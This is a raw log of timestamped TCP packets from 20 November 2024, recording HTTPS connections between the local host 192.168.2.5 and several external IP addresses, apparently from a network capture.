Nov 20, 2024 01:18:17.480058908 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480074883 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480091095 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480112076 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480127096 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480155945 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.480246067 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.480866909 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480884075 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480947971 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.910960913 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:17.911051989 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:17.911147118 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:17.912806988 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:17.912837029 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.696052074 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.696214914 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.700181007 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.700208902 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.700548887 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.701970100 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.702069044 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.702079058 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.702444077 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.743361950 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.894838095 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.894941092 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.895014048 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.895342112 CET	49715	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:18.895371914 CET	443	49715	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:18.989568949 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:18.989645958 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:19.098929882 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:22.210551023 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:22.210598946 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:22.210659981 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:22.211981058 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:22.211999893 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:22.991971970 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:22.992064953 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:22.999732971 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:22.999752998 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:22.999979019 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.015981913 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.016077995 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.016084909 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.016386032 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.059323072 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.192015886 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.192164898 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.192223072 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.192347050 CET	49720	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.192364931 CET	443	49720	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.598048925 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.598086119 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:23.598148108 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.598711014 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:23.598723888 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.420197010 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.420396090 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.422060966 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.422070980 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.422390938 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.423528910 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.423696041 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.423696041 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.423703909 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.467370033 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.604007959 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.604160070 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.604222059 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.616236925 CET	49721	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:24.616259098 CET	443	49721	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:24.810764074 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:24.810832024 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:24.811166048 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:24.812690020 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:24.812725067 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:24.863681078 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:24.863712072 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:24.863775015 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:24.864083052 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:24.864097118 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.287389994 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.287484884 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.301640034 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.301687002 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.302181005 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.348869085 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.351931095 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.351965904 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.352099895 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.517992973 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.518107891 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.519838095 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.519853115 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.520366907 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.530585051 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.575330973 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.792515993 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.792678118 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.792761087 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.797636032 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.797696114 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.797739029 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.797787905 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.797806978 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.797831059 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.797866106 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.798616886 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.798664093 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.798707962 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.798717022 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.798755884 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.798755884 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.802547932 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.802611113 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.802680969 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.802680969 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.802707911 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.802755117 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.804552078 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.804600000 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.804634094 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.804642916 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.804665089 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.804693937 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.807467937 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.807533026 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.807579994 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.807590008 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.807612896 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.807636023 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.808038950 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.808104992 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.808137894 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.808146954 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.808165073 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.808197021 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.810561895 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.810606003 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.810655117 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.810662985 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.810703993 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.810703993 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.849912882 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.849967003 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.850002050 CET	49722	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.850018978 CET	443	49722	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.888029099 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888098955 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888118029 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.888137102 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888186932 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.888186932 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.888457060 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888499975 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888562918 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.888564110 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.888587952 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.888628006 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889225960 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889267921 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889333963 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889333963 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889350891 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889424086 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889448881 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889462948 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889492035 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889516115 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889516115 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889532089 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.889563084 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.889658928 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890106916 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890147924 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890208006 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890208006 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890223980 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890264988 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890712976 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890755892 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890808105 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890820026 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890839100 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890866041 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890872955 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.890896082 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.890947104 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.891042948 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.891076088 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.891076088 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.891109943 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.891141891 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.891153097 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.909168959 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.909192085 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.909349918 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.909703970 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:25.909715891 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:25.937890053 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.937925100 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.938019037 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.939336061 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.939378023 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.939439058 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.939492941 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.939508915 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.939994097 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.940011978 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.941210032 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.941220045 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.941273928 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.941378117 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.941389084 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.942275047 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.942282915 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.942359924 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.945424080 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.945435047 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.945494890 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.945610046 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.945622921 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:25.945719004 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:25.945732117 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.366933107 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.367074013 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.396711111 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.396728992 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.397032022 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.398950100 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.398982048 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.399025917 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.575848103 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.579700947 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.580385923 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.580399036 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.581980944 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.582446098 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.585150003 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.585161924 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.588694096 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.588701963 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.591751099 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.592689037 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.592694044 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.596682072 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.596690893 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.600891113 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.600895882 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.600920916 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.600950956 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.608861923 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.608870983 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.609167099 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.609174967 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.617520094 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.617525101 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.682729959 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.682782888 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.682909012 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.682914972 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.683053970 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.689944029 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.689986944 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.690080881 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.690100908 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.690248966 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.698260069 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.698425055 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.698491096 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.708259106 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.708312035 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.708364964 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.708381891 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.708628893 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.708683968 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.709033966 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.709033966 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.709059000 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.709068060 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.713466883 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.713680029 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.713735104 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.734266043 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.734282017 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.734314919 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.734322071 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.735332012 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.735340118 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.735352039 CET	49726	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.735356092 CET	443	49726	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.736190081 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.736190081 CET	49727	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.736207008 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.736216068 CET	443	49727	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.737024069 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.737024069 CET	49728	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.737030029 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.737037897 CET	443	49728	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.739240885 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.739268064 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.739339113 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.740837097 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.740850925 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.742501974 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.742528915 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.742603064 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.742729902 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.742738962 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.744249105 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.744304895 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.744365931 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.744849920 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.744870901 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.745919943 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.745939970 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.746042013 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.746098042 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.746104002 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.746546984 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.746568918 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.746615887 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.746850014 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:26.746867895 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:26.790721893 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790783882 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790813923 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790827990 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.790844917 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790885925 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790889978 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.790899038 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.790950060 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.790955067 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.791337967 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.791384935 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.791390896 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.795459986 CET	443	49724	188.114.96.3	192.168.2.5
